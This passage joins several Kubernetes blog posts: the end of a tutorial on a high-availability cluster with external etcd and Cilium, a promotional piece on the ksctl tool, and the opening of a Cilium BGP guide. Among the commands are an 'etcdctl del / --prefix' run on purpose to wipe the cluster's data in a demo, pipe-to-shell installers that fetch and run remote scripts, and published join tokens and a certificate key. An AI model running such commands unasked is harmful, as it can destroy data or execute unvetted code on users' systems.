scp -i ksctl-key ca.pem etcd.pem etcd-key.pem root@74.220.19.191:/etcd/kubernetes/pki/etcd/
scp -i ksctl-key ca.pem etcd.pem etcd-key.pem root@74.220.22.42:/etcd/kubernetes/pki/etcd/
```

## Step 4: Configure Etcd VMs

Now it's time to do some cool stuff:

<iframe src="https://giphy.com/embed/TNnyxINX87VAKbNYmZ" width="480" height="400" class="giphy-embed"></iframe>

**Generic template that you can modify according to your configuration.**

```bash
#!/bin/bash
set -xe

cat <<EOF > /etc/systemd/system/etcd.service
[Unit]
Description=etcd

[Service]
ExecStart=/usr/local/bin/etcd \\
  --name infra0 \\
  --initial-advertise-peer-urls https://${current-vm-private-ip}:2380 \
  --listen-peer-urls https://${current-vm-private-ip}:2380 \\
  --listen-client-urls https://${current-vm-private-ip}:2379,https://127.0.0.1:2379 \\
  --advertise-client-urls https://${current-vm-private-ip}:2379 \\
  --initial-cluster-token etcd-cluster-1 \\
  --initial-cluster infra0=https://${current-vm-private-ip}:2380,infra1=https://${other-vms-private-ip}:2380,infra2=https://${other-vms-private-ip}:2380 \\
  --log-outputs=/var/lib/etcd/etcd.log \\
  --initial-cluster-state new \\
  --peer-auto-tls \\
  --snapshot-count '10000' \\
  --wal-dir=/var/lib/etcd/wal \\
  --client-cert-auth \\
  --trusted-ca-file=/var/lib/etcd/ca.pem \\
  --cert-file=/var/lib/etcd/etcd.pem \\
  --key-file=/var/lib/etcd/etcd-key.pem \\
  --data-dir=/var/lib/etcd/data
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable etcd
```

> Lets discuss about various configuration settings
> 
> **General:**
> 
> * **ExecStart=/usr/local/bin/etcd:** Specifies the executable path to start the etcd process.
>     
> * **Restart=on-failure:** Instructs the system to automatically restart etcd if it fails.
>     
> * **RestartSec=5:** Sets a 5-second delay before attempting a restart.
>     
> 
> **Cluster Configuration:**
> 
> * **\--name infra0:** Assigns the name "infra0" to this member of the etcd cluster.
>     
> * **\--initial-advertise-peer-urls:** Advertises this member's peer URL to other members for cluster communication.
>     
> * **\--listen-peer-urls:** Listens for peer connections on this URL.
>     
> * **\--initial-cluster-token etcd-cluster-1:** Defines a shared token ensuring all members belong to the same cluster.
>     
> * **\--initial-cluster:** Lists initial cluster members and their peer URLs.
>     
> * **\--initial-cluster-state new:** Instructs etcd to create a new cluster, not join an existing one.
>     
> 
> **Client Communication:**
> 
> * **\--listen-client-urls:** Listens for client connections on these URLs.
>     
> * **\--advertise-client-urls:** Advertises the client URL for this member to other members.
>     
> 
> **Logging and Data Storage:**
> 
> * **\--log-outputs=/var/lib/etcd/etcd.log:** Logs etcd output to this file.
>     
> * **\--data-dir=/var/lib/etcd/data:** Stores etcd data in this directory.
>     
> * **\--wal-dir=/var/lib/etcd/wal:** Stores the write-ahead log (WAL) in this directory for data durability.
>     
> 
> **Security:**
> 
> * **\--peer-auto-tls:** Automatically generates and manages TLS certificates for peer communication.
>     
> * **\--client-cert-auth:** Requires clients to authenticate with TLS certificates.
>     
> * **\--trusted-ca-file=/var/lib/etcd/ca.pem:** Specifies the trusted certificate authority (CA) file for client certificates.
>     
> * **\--cert-file=/var/lib/etcd/etcd.pem:** Specifies the certificate file for this etcd member.
>     
> * **\--key-file=/var/lib/etcd/etcd-key.pem:** Specifies the private key file for this etcd member.
>     
> 
> **Snapshots:**
> 
> * **\--snapshot-count '10000':** Triggers a snapshot of the data every 10,000 transactions for backup and recovery.
>     

### Etcd-0

```bash
#!/bin/bash
set -xe
cat <<EOF > /etc/systemd/system/etcd.service
[Unit]
Description=etcd

[Service]
ExecStart=/usr/local/bin/etcd \\
  --name infra0 \\
  --initial-advertise-peer-urls https://192.168.1.2:2380 \
  --listen-peer-urls https://192.168.1.2:2380 \\
  --listen-client-urls https://192.168.1.2:2379,https://127.0.0.1:2379 \\
  --advertise-client-urls https://192.168.1.2:2379 \\
  --initial-cluster-token etcd-cluster-1 \\
  --initial-cluster infra0=https://192.168.1.2:2380,infra1=https://192.168.1.3:2380,infra2=https://192.168.1.4:2380 \\
  --log-outputs=/var/lib/etcd/etcd.log \\
  --initial-cluster-state new \\
  --peer-auto-tls \\
  --snapshot-count '10000' \\
  --wal-dir=/var/lib/etcd/wal \\
  --client-cert-auth \\
  --trusted-ca-file=/var/lib/etcd/ca.pem \\
  --cert-file=/var/lib/etcd/etcd.pem \\
  --key-file=/var/lib/etcd/etcd-key.pem \\
  --data-dir=/var/lib/etcd/data
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable etcd
```

### Etcd-1

```bash
#!/bin/bash
set -xe
cat <<EOF > /etc/systemd/system/etcd.service
[Unit]
Description=etcd

[Service]
ExecStart=/usr/local/bin/etcd \\
  --name infra1 \\
  --initial-advertise-peer-urls https://192.168.1.3:2380 \
  --listen-peer-urls https://192.168.1.3:2380 \\
  --listen-client-urls https://192.168.1.3:2379,https://127.0.0.1:2379 \\
  --advertise-client-urls https://192.168.1.3:2379 \\
  --initial-cluster-token etcd-cluster-1 \\
  --initial-cluster infra0=https://192.168.1.2:2380,infra1=https://192.168.1.3:2380,infra2=https://192.168.1.4:2380 \\
  --log-outputs=/var/lib/etcd/etcd.log \\
  --initial-cluster-state new \\
  --peer-auto-tls \\
  --wal-dir=/var/lib/etcd/wal \\
  --client-cert-auth \\
  --trusted-ca-file=/var/lib/etcd/ca.pem \\
  --cert-file=/var/lib/etcd/etcd.pem \\
  --key-file=/var/lib/etcd/etcd-key.pem \\
  --snapshot-count '10000' \\
  --data-dir=/var/lib/etcd/data
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable etcd
```

### Etcd-2

```bash
#!/bin/bash
set -xe
cat <<EOF > /etc/systemd/system/etcd.service
[Unit]
Description=etcd

[Service]
ExecStart=/usr/local/bin/etcd \\
  --name infra2 \\
  --initial-advertise-peer-urls https://192.168.1.4:2380 \
  --listen-peer-urls https://192.168.1.4:2380 \\
  --listen-client-urls https://192.168.1.4:2379,https://127.0.0.1:2379 \\
  --advertise-client-urls https://192.168.1.4:2379 \\
  --initial-cluster-token etcd-cluster-1 \\
  --initial-cluster infra0=https://192.168.1.2:2380,infra1=https://192.168.1.3:2380,infra2=https://192.168.1.4:2380 \\
  --log-outputs=/var/lib/etcd/etcd.log \\
  --initial-cluster-state new \\
  --peer-auto-tls \\
  --snapshot-count '10000' \\
  --client-cert-auth \\
  --trusted-ca-file=/var/lib/etcd/ca.pem \\
  --cert-file=/var/lib/etcd/etcd.pem \\
  --key-file=/var/lib/etcd/etcd-key.pem \\
  --wal-dir=/var/lib/etcd/wal \\
  --data-dir=/var/lib/etcd/data
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable etcd
```

**For all Etcd VMs**

```bash
sudo systemctl start etcd
```

**to test whether you can access etcd server via the etcdctl**

> below are some example commands to test whether all the etcd members are working as expected

```bash
etcdctl \
  --cacert=/var/lib/etcd/ca.pem \
  --cert=/var/lib/etcd/etcd.pem \
  --key=/var/lib/etcd/etcd-key.pem \
  endpoint health \
  -w=table \
  --cluster

etcdctl \
  --cacert=/var/lib/etcd/ca.pem \
  --cert=/var/lib/etcd/etcd.pem \
  --key=/var/lib/etcd/etcd-key.pem \
  endpoint status \
  -w=table \
  --cluster

etcdctl \
  --cacert=/var/lib/etcd/ca.pem \
  --cert=/var/lib/etcd/etcd.pem \
  --key=/var/lib/etcd/etcd-key.pem \
  member list \
  -w=table

etcdctl \
  --cacert=/var/lib/etcd/ca.pem \
  --cert=/var/lib/etcd/etcd.pem \
  --key=/var/lib/etcd/etcd-key.pem \
  get / --prefix --keys-only
```

![](/img/blog/ha-kubernetes/db32f9ae-5cb8-426c-ac6f-ad5b2977a128.png align="center")

## Step 5: Run the Kubeadm init command on the control plane node

> In a High Availability (HA) cluster setup, where you have multiple control plane nodes, the localAPIEndpoint in the InitConfiguration is typically not used. The localAPIEndpoint specifies the endpoint that the control plane components advertise to other nodes in the cluster. In a HA setup, the API server is typically load-balanced, and each control plane node advertises itself at the load balancer's address.
> 
> Single Control Plane Node Setup: In a single control plane node setup, you might specify the IP address and port of the single control plane node in localAPIEndpoint.
> 
> High Availability (HA) Control Plane Setup: In an HA setup, you generally set up a load balancer in front of multiple control plane nodes. The load balancer has a single IP address and distributes incoming requests among the control plane nodes. Each control plane node does not advertise itself directly; instead, they are behind the load balancer. The controlPlaneEndpoint in the ClusterConfiguration is typically used to specify the address and port of the load balancer. In summary, for HA setups, you often configure the controlPlaneEndpoint in the ClusterConfiguration to point to the load balancer's address, and you may not need to explicitly configure localAPIEndpoint in the InitConfiguration. The load balancer handles directing traffic to the active control plane node.

> <mark>generate certificate key </mark> **<mark>(CERT_KEY)</mark>**

```bash
kubeadm certs certificate-key # copy the output IMPORTANT
```

**In our case, below is the output:**

```bash
8b80729b738b2eef8dc2dbec17e927aa2fd03d43b7f0f4925c7e47bf9ae1e561
```

now let's create the kubeadm init configuration

**Generic configuration that you can edit based on your requirements.**

```bash
cat <<EOF > kubeadm-config.yml
apiVersion: kubeadm.k8s.io/v1beta3
kind: InitConfiguration
bootstrapTokens:
- groups:
  - system:bootstrappers:kubeadm:default-node-token
  token: ${some random string}  # important thing to set as it will be used when joining nodes to the k8s cluster.
  ttl: 24h0m0s
  usages:
  - signing
  - authentication

certificateKey: ${get it from the output of kubeadm certs certificate-key command}
nodeRegistration:
  criSocket: unix:///var/run/containerd/containerd.sock
  imagePullPolicy: IfNotPresent
  taints: null
---
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
apiServer:
  timeoutForControlPlane: 4m0s
  certSANs:
    - "${public ip of loadbalancer}" # <pub ip of lb>
    - "127.0.0.1"
certificatesDir: /etc/kubernetes/pki
clusterName: kubernetes
controllerManager: {}
dns: {}
etcd:
  external:
    endpoints:
    - "https://${private ip of the etcd 0}:2379"
    - "https://${private ip of the etcd 1}:2379"
    - "https://${private ip of the etcd 2}:2379"
    caFile: "/etcd/kubernetes/pki/etcd/ca.pem"
    certFile: "/etcd/kubernetes/pki/etcd/etcd.pem"
    keyFile: "/etcd/kubernetes/pki/etcd/etcd-key.pem"
imageRepository: registry.k8s.io
kubernetesVersion: 1.28.0
controlPlaneEndpoint: "${public ip of loadbalancer}:6443"
networking:
  dnsDomain: cluster.local
  serviceSubnet: 10.96.0.0/12
scheduler: {}

EOF
```

**Our script**

```bash
cat <<EOF > kubeadm-config.yml
apiVersion: kubeadm.k8s.io/v1beta3
kind: InitConfiguration
bootstrapTokens:
- groups:
  - system:bootstrappers:kubeadm:default-node-token
  token: abcdef.0123456789abcdef  # important thing to set as it will be used when joining nodes to the k8s cluster. any random string is allowed for more info can refer to the docs
  ttl: 24h0m0s
  usages:
  - signing
  - authentication

certificateKey: 8b80729b738b2eef8dc2dbec17e927aa2fd03d43b7f0f4925c7e47bf9ae1e561 # get it from the output of kubeadm certs certificate-key command
nodeRegistration:
  criSocket: unix:///var/run/containerd/containerd.sock
  imagePullPolicy: IfNotPresent
  taints: null
---
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
apiServer:
  timeoutForControlPlane: 4m0s
  certSANs:
    - "74.220.22.92" # <pub ip of lb>
    - "127.0.0.1"
certificatesDir: /etc/kubernetes/pki
clusterName: kubernetes
controllerManager: {}
dns: {}
etcd:
  external:
    endpoints:
    - "https://192.168.1.2:2379"
    - "https://192.168.1.3:2379"
    - "https://192.168.1.4:2379"
    caFile: "/etcd/kubernetes/pki/etcd/ca.pem"
    certFile: "/etcd/kubernetes/pki/etcd/etcd.pem"
    keyFile: "/etcd/kubernetes/pki/etcd/etcd-key.pem"
imageRepository: registry.k8s.io
kubernetesVersion: 1.28.0
controlPlaneEndpoint: "74.220.22.92:6443"
networking:
  dnsDomain: cluster.local
  serviceSubnet: 10.96.0.0/12
scheduler: {}

EOF
```

### Control-plane-0

**Generic command where you can provide your config file:**

```bash
kubeadm init --config ${cluster-config-file-defined-above} --upload-certs
```

**Our command to create the HA Kubernetes cluster:**

```bash
kubeadm init --config kubeadm-config.yml --upload-certs
```

the output will generate join commands

```bash
You can now join any number of the control-plane node running the following command on each as root:

  kubeadm join 74.220.22.92:6443 --token abcdef.0123456789abcdef \
        --discovery-token-ca-cert-hash sha256:a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2 \
        --control-plane --certificate-key 8b80729b738b2eef8dc2dbec17e927aa2fd03d43b7f0f4925c7e47bf9ae1e561

Please note that the certificate-key gives access to cluster sensitive data, keep it secret!
As a safeguard, uploaded-certs will be deleted in two hours; If necessary, you can use
"kubeadm init phase upload-certs --upload-certs" to reload certs afterward.

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join 74.220.22.92:6443 --token abcdef.0123456789abcdef \
        --discovery-token-ca-cert-hash sha256:a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2
```

When you do kubeadm init, you will get the join command in the output

If you carefully see it has the token and discovery-tokn-ca-cert-hash.  
**token**: we defined in the configuration file already so we know the value.  
**discovery-token-ca-cert-hash**: copy from below command

```bash
openssl x509 -in /etc/kubernetes/pki/ca.crt -noout -pubkey | openssl rsa -pubin -outform DER 2>/dev/null | sha256sum | cut -d' ' -f1
```

**The output from this command can be used for automation purposes.**

> a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2

> <mark>token is already available from the clusterConfiguration </mark> `abcdef.0123456789abcdef`**<mark>(TOKEN)</mark>**

> Let's see how to automate the generation of these scripts
> 
> So Here is one **automation hack**
> 
> As you got the `(TOKEN)` , `(CA_CERT_HASH)`, `(CERT_KEY)`
> 
> you can construct the both the join commands so you dont have to rely on the output

```go
package main

import (
	"fmt"
)

func main() {
	token := "abcdef.0123456789abcdef"
	caCertSHA := "a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2"
	certKey := "8b80729b738b2eef8dc2dbec17e927aa2fd03d43b7f0f4925c7e47bf9ae1e561"
	publicIP := "74.220.22.92"

	expected1 := "kubeadm join 74.220.22.92:6443 --token abcdef.0123456789abcdef --discovery-token-ca-cert-hash sha256:a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2 --control-plane --certificate-key 8b80729b738b2eef8dc2dbec17e927aa2fd03d43b7f0f4925c7e47bf9ae1e561"
	expected2 := "kubeadm join 74.220.22.92:6443 --token abcdef.0123456789abcdef --discovery-token-ca-cert-hash sha256:a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2"

	if g1, g2 := generate(publicIP, token, caCertSHA, certKey); g1 != expected1 || g2 != expected2 {
		fmt.Println("Missmatch")
		return
	}

	fmt.Println("Matched!")
}

func generate(pubIPLb, token, cacertSHA, certKey string) (string, string) {
	controlplane := fmt.Sprintf(`kubeadm join %s:6443 --token %s --discovery-token-ca-cert-hash sha256:%s --control-plane --certificate-key %s`, pubIPLb, token, cacertSHA, certKey)
	workernodes := fmt.Sprintf(`kubeadm join %s:6443 --token %s --discovery-token-ca-cert-hash sha256:%s`, pubIPLb, token, cacertSHA)
	return controlplane, workernodes
}
```

**below is the output:**

![](/img/blog/ha-kubernetes/99a31760-3a48-4a27-9546-7beeec9892d5.png align="center")

### Control-plane-(N)

Run the controlplane join command on remaining controlplane nodes:

```bash
# Template
kubeadm join ${Loadbalancer_Public_IP}:6443 --token ${TOKEN} --discovery-token-ca-cert-hash sha256:${CA_CERT_HASH} --control-plane --certificate-key ${CERT_KEY}
```

```bash
# my code
kubeadm join 74.220.22.92:6443 --token abcdef.0123456789abcdef --discovery-token-ca-cert-hash sha256:a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2 --control-plane --certificate-key 8b80729b738b2eef8dc2dbec17e927aa2fd03d43b7f0f4925c7e47bf9ae1e561
```

```bash
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
```

## Step 6: Run the join command on all the worker nodes

```bash
kubeadm join ${Loadbalancer_Public_IP}:6443 --token ${TOKEN} --discovery-token-ca-cert-hash sha256:${CA_CERT_HASH}
```

```bash
kubeadm join 74.220.22.92:6443 --token abcdef.0123456789abcdef --discovery-token-ca-cert-hash sha256:a633923134ac00a1e938dde1a28033d2a7d5bc3fb325e7280d000148fef854e2
```

Let's copy the **kubeconfig** from the controlplane-0 to our host system

```bash
# copied the kubeconfig from the known location 
# make sure you have moved the kubeconfig in the controlplane node to this location the steps are shown in the kubeadm init output
scp -i ksctl-key root@${public ip of the controlplane}:/root/.kube/config kubeconfig
```

Once you have the Kubeconfig file you can export the KUBECONFIG variable to interact with the cluster.

```bash
export KUBECONFIG=kubeconfig
```

Now you can run the cluster and you will see all the nodes in the NotReady state, this is becasue kubeadm doesn't provide CNI installed.

![](/img/blog/ha-kubernetes/a1849ad7-5ed6-41ce-9d88-5d025e638b22.png align="center")

![](/img/blog/ha-kubernetes/87d105c6-841c-4ce0-adad-320e966b182f.png align="center")

## Step 7: Install CNI

We will use Cilium which is a CNCF graduated project for our CNI layer.

```bash
helm repo add cilium https://helm.cilium.io/
helm repo update
helm install cilium cilium/cilium --version 1.14.6
```

![](/img/blog/ha-kubernetes/3b4404bc-ac62-441a-94f0-3b8ff461ee37.png align="center")

Now when you test, you will see all the nodes in Ready state.

![](/img/blog/ha-kubernetes/70abcb0c-7a5f-4ae7-9692-6080d1a64b58.png align="center")

## Step 8: Nginx Test

```bash
kubectl run nginx-pod --image=nginx
kubectl expose pod nginx-pod --port=80 --name=nginx-service --type=NodePort
```

![](/img/blog/ha-kubernetes/e1913170-5ce7-46c2-bdee-91266b2ca9d9.png align="center")

![](/img/blog/ha-kubernetes/f68aef62-2c08-410e-b07f-0fba03f84b66.png align="center")

Using load balancer public IP:NodePort we can reach the app

![](/img/blog/ha-kubernetes/8eab611f-35b2-453a-aecc-9a4861b53544.png align="center")

## Testing the High availability

Let's try the High availability, on one screen we will do kubectl get nodes -w and in other tab we will shutdown one controlplane node so that it becomes not ready and then we will try to again create nginx pod and test if that is working.

Below is everything before creating that chaos:

```bash
kubectl get no,po,svc -A
# looks like
```

![](/img/blog/ha-kubernetes/5278eea7-19b4-4fa2-8f2d-ed853799f237.png align="center")

Now, according to raft consensus distributed model FaultTolerant=(n−1)/2 are needed for majority vote if the available nodes become less than this, the system will be unreachable.

In our case we are dealing with 3 controlplane and 3 etcd nodes. So at minimum 2 cp and 2 etcd as it can handle only 1 node failure so ideally you will choose 5 which gives us some room for one node down for maintenance and another failure scenarios.

Shutdown the controlplane and after a few minutes when the node heartbeats are unreachable by k8s it will mark the node as not ready.

![](/img/blog/ha-kubernetes/462aff06-6b3d-4c2c-b9e4-99ea246df38d.png align="center")

But you can see that the nginx workload is still running.

![](/img/blog/ha-kubernetes/8eab611f-35b2-453a-aecc-9a4861b53544.png align="center")

> Success: still able to reach the kube-api server and the workload is still running

Let's delete one of the etcd node

![](/img/blog/ha-kubernetes/5e947a4a-629b-4b88-94f4-41208203b81d.png align="center")

![](/img/blog/ha-kubernetes/417d71a6-3fe2-4b9e-a6b4-982c4a2c1ecb.png align="center")

![](/img/blog/ha-kubernetes/8eab611f-35b2-453a-aecc-9a4861b53544.png align="center")

> Success: still able to reach the kube-api server and the workload is still running

Let's stop one etcd service and again restart it

![](/img/blog/ha-kubernetes/33319b1a-df7e-46f5-bf60-2ac018fdcc4b.png align="center")

![](/img/blog/ha-kubernetes/7ce03f28-f9f5-4223-a65e-92a328d46625.png align="center")

![](/img/blog/ha-kubernetes/8eab611f-35b2-453a-aecc-9a4861b53544.png align="center")

> Success: workload is running
> 
> Failure: unable to reach the kube-api server

Lets restart the etcd service

![](/img/blog/ha-kubernetes/f98c03f4-9fd1-480a-b47d-cbc3ee2f1668.png align="center")

![](/img/blog/ha-kubernetes/6e198e91-34ab-4fa0-8b64-058cf6aeafb8.png align="center")

> Success: Recovered the kube-api server

Also the same would happen if one more controlplane node gets down

Finally lets remove all data in etcd server and see what happens to the cluster

```bash
etcdctl \
  --cacert=/var/lib/etcd/ca.pem \
  --cert=/var/lib/etcd/etcd.pem \
  --key=/var/lib/etcd/etcd-key.pem \
  get / --prefix --keys-only | wc -l

etcdctl \
  --cacert=/var/lib/etcd/ca.pem \
  --cert=/var/lib/etcd/etcd.pem \
  --key=/var/lib/etcd/etcd-key.pem \
  del / --prefix
```

![](/img/blog/ha-kubernetes/d6d2e4ca-051e-4950-8b8d-1c0548148fa5.png align="center")

![](/img/blog/ha-kubernetes/67a40018-f355-4596-9674-ed3a50955b6e.png align="center")

![](/img/blog/ha-kubernetes/a97f9392-9870-4a31-8f36-181937fb3004.png align="center")

> cluster is completely dead: as all cluster data is gone
> 
> thats why its important to backup the etcd data!!!! 💀 (Let's talk about Backup and recover some other time).

<iframe src="https://giphy.com/embed/3oFzmqN1xHwaEXGl7q" width="480" height="256" class="giphy-embed"></iframe>

# Conclusion

Meticulously configuring your etcd cluster establishes a fault-tolerant foundation for Kubernetes, ensuring uninterrupted application uptime in various scenarios. This robust setup, suitable for microservices or containerized workloads, is scalable and reliable. While we covered core etcd configuration, consult Kubernetes and etcd documentation for customization and troubleshooting. Implement monitoring tools for cluster health and performance awareness.

Finally, this blog post is possible just because of ksctl project. As you can see these are quite a lot of manual steps so ksctl helps you overcome these challenges with more customizability options with multiple cloud providers. Do try out the ksctl project and leave a star if you like the project.

%[https://github.com/kubesimplify/ksctl] 

Also, there is a good blog post on ksctl introduction

%[https://blog.kubesimplify.com/ksctl-making-kubernetes-easy-across-clouds] 

# References

* [k3s-datastore](https://docs.k3s.io/datastore)
    
* [k3s-external-db](https://docs.k3s.io/datastore/ha)
    
* [etcd-self-signed-tls](https://github.com/etcd-io/etcd/tree/main/hack/tls-setup)
    
* [etcd-auto-tls](https://etcd.io/docs/v3.5/op-guide/clustering/#automatic-certificates)
    
* [automate-tls-certs-in-go](https://gist.github.com/shaneutt/5e1995295cff6721c89a71d13a71c251)
    
* [Refer-kubeadm-config.v1beta3](https://kubernetes.io/docs/reference/config-api/kubeadm-config.v1beta3/)
    

Follow Kubesimplify on [**Hashnode**,](https://kubesimplify.com/)[**Twitter**](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/)Join our [**Discord** server](https://discord.com/invite/8s8uMRnSnH) to learn with us.

Check out our Recent course on WebAssembly

%[https://www.youtube.com/watch?v=eYekV2Do0YU]

---

# Ksctl: Making Kubernetes Easy Across Clouds

- Canonical: https://blog.kubesimplify.com/ksctl-making-kubernetes-easy-across-clouds
- Published: 2024-01-23
- Summary: Discover Ksctl, the platform automation tool revolutionizing Kubernetes management. Learn how it solves multi-cloud challenges.

In the complex world of managing Kubernetes, a tool like Ksctl emerges as a game-changer. Ksctl, short for Kubernetes Simplify Control, is a tool designed to simplify how we handle Kubernetes clusters, especially across different cloud services. This blog will walk you through what Ksctl is, the problems it tackles, its standout features, and a step-by-step guide on creating clusters effortlessly.

### **What is Ksctl?**

Ksctl is a handy tool that makes managing Kubernetes clusters easier. It's like a one-stop-shop for dealing with Kubernetes across various cloud services. Created by the Kubesimplify team, Ksctl is all about simplifying the future of Kubernetes management.

### **Problems Ksctl Solves:**

Before Ksctl, using Kubernetes posed some challenges:

1. **Too Many Tools:** People were using too many different tools, causing confusion.
    
2. **Tool Complications:** Some tools relied on others, making things complicated.
    
3. **No Consistency:** The Kubernetes world lacked consistency, making it hard for things to work together smoothly.
    
4. **Tricky Configurations:** Creating custom setups and managing applications had its share of difficulties.
    
5. **Hard to Learn:** Managing Kubernetes, especially for special cases, was tough to learn.
    

### **Solution: Meet Ksctl**

Ksctl tackles these issues with some cool features:

**1\. Manage Anywhere:**

Ksctl lets you manage your Kubernetes clusters across different cloud services without switching tools. It's like having a universal remote for your clusters.

**2\. Pick Your Cluster Flavor:**

Choose between having someone else manage your cluster or doing it yourself. Ksctl gives you options for High Availability (HA) clusters, making it flexible.

**3\. Easy App Deployments:**

Ksctl makes deploying applications a breeze by having the necessary plugins ready to go. It's like having your favorite apps pre-installed on your new phone. *(Currently a beta feature)*

**4\. Light and Simple:**

Ksctl is lightweight, meaning it won't slow you down. You can install it quickly without needing extra stuff.

**5\. Your Way:**

From managing everything to having Ksctl handle it, and from deciding which plugins to use to choosing pre-installed apps, Ksctl lets you do things your way.

### **Key Features:**

* **Easy Cluster Setup:** Make a new cluster with just one simple command.
    
* **No Fuss Installation:** Installing Ksctl is a breeze – no complicated steps.
    
* **Make it Yours:** Customize your cluster based on what you need, from configurations to apps.
    
* **Faster Creation & small binary size:** It creates clusters in ~5-6 minutes and the ksctl CLI binary is &lt;50 MB.
    

### **How to Use Ksctl:**

Creating a cluster with Ksctl is easy:

**Install Ksctl:** Follow the easy steps to get Ksctl CLI on your system.

**For Linux:**

```bash
bash <(curl -s https://raw.githubusercontent.com/kubesimplify/ksctl-cli/main/scripts/install.sh)
```

**For MacOS:**

```bash
zsh <(curl -s https://raw.githubusercontent.com/kubesimplify/ksctl-cli/main/scripts/install.sh)
```

**For Windows:**

```bash
iwr -useb https://raw.githubusercontent.com/kubesimplify/ksctl-cli/main/install.ps1 | iex
```

![](/img/blog/ksctl-making-kubernetes-easy-across-clouds/e2574d70-3b8b-402b-aed9-86fa2902512e.png align="center")

![](/img/blog/ksctl-making-kubernetes-easy-across-clouds/c68f882f-b8cb-4eb1-b2de-5e78bc4ec313.png align="center")

### Whats next:

#### Github Repo to look for

* [kubesimplify/ksctl: Cloud Agnostic Kubernetes Management (Core)](https://github.com/kubesimplify/ksctl)
    
* [kubesimplify/ksctl-cli: Cloud Agnostic Kubernetes Management (CLI)](https://github.com/kubesimplify/ksctl-cli)
    
* [kubesimplify/ksctl-docs: Cloud Agnostic Kubernetes Management (Docs)](https://github.com/kubesimplify/ksctl-docs)
    

### **Conclusion:**

Ksctl is your go-to tool for managing Kubernetes without the headache. As more folks dive into Kubernetes, tools like Ksctl make things simpler. With its focus on working across different clouds, offering cluster choices, and making app deployments hassle-free, Ksctl stands out. Embrace the future of Kubernetes management with Ksctl, and make your cluster adventures smoother than ever.

**In the future more blogs will come regarding its usage. so stay tuned**

For more details and updates, head over to [kubesimplify's home on GitHub](https://github.com/kubesimplify). And if you want to join the conversation or report an issue. Happy clustering!

---

# Pure Cilium : A Guide for Local Load Balancing and BGP

- Canonical: https://blog.kubesimplify.com/pure-cilium-a-guide-for-local-load-balancing-and-bgp
- Published: 2024-01-22

In this guide, we'll walk through the steps to build a multi-node Kubernetes cluster on your local workstation or MacBook (M1, M2, or M3) using K3s and Cilium. We will also demonstrate using Cilium's powerful Load Balancer (L.B.) Use the IPAM feature to expose your service as a built-in load balancer in your K8s cluster.

* ## **Pre-Requisites**
    
    Before you begin, make sure you have set up your cluster with Cilium CNI. You can follow the instructions in this [GitHub](https://github.com/pradhans0906/K8S-CNI-Cilium-Tutorial) repository to get your cluster up and running in under 3 minutes.
    
    Once Cilium is up and running, the other pods in the cluster should transition into the Running state. You should see one Cilium pod on each node and the Cilium operator.
    
    ![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/1748dc05-1038-4e82-98d0-da2cfa15ec7d.png align="center")
    
    ## **Cilium components**
    
    Here is a high-level description of Cilium components:
    
    > **The Cilium agent**
    > 
    > The cilium-agent component runs on every node in the cluster. It accepts the configuration via APIs or Kubernetes, which describes requirements for networking, network policies, load balancing, visibility, and monitoring.
    > 
    > The agent waits for events from the orchestration system (i.e., Kubernetes) to indicate when workloads or containers start or stop. It manages eBPF programs that allow the Linux kernel to control network access in and out of the containers.
    > 
    > **Cilium CLI**
    > 
    > The CLI client is a command-line tool installed alongside the Cilium agent on the same node, interacting with the agent’s REST API. The CLI enables the inspection of the local agent’s state and status. It also offers tools to access and validate the state of eBPF maps directly.
    > 
    > **The Cilium operator**
    > 
    > The operator handles tasks that require one-time handling for the whole cluster instead of for every node. The Cilium operator is not critical for making network policy decisions or forwarding – clusters can generally function when the operator becomes unavailable.
    > 
    > **The CNI plugin**
    > 
    > Kubernetes invokes the cilium-cni plugin when it schedules or terminates a pod on the node. The plugin interacts with the node’s Cilium API to trigger the right datapath configurations for the pod’s networking, policy, and load balancing needs.
    
    ## **Cilium BGP**
    
    Picture source: [https://cilium.io](https://cilium.io/)
    
    ![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/b2e9b165-cb92-4e2b-b557-79260875756c.png align="center")
    
    **What is a BGP?** BGP is an internet routing protocol that enables the exchange of routing information between autonomous systems (ASes), allowing networks to learn and advertise routes to reach different destinations over public and private networks.
    
    For more information on BGP, look at [RFC 4271 — BGP](https://datatracker.ietf.org/doc/html/rfc4271).
    
    **Enabling BGP**
    
    From the official [Cilium BGP control plane](https://docs.cilium.io/en/stable/network/bgp-control-plane/) documentation, you will see that currently, a single flag in the Cilium agent exists to turn on the **BGP Control Plane** feature set.
    
    There are different ways to enable this flag, however we will continue using the cilium cli (Helm requires a different approach, so check the official documentation if you are using Helm).
    
    Before we change the BGP flag, let’s check the current configuration.
    
    P.S. You can enable BGP when you install Cilium, but we want to show you the underlying steps.
    

![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/d3d25c4c-a538-4c96-9537-855fd57309fa.png align="center")

As you can see, the BGP Control Plane feature is turned off by default. Let’s enable it!

![](/img/blog/pure-cilium-a-guide-for-local-load-balancing-and-bgp/66e8ae76-065f-4497-a394-fcf817507740.png align="center")

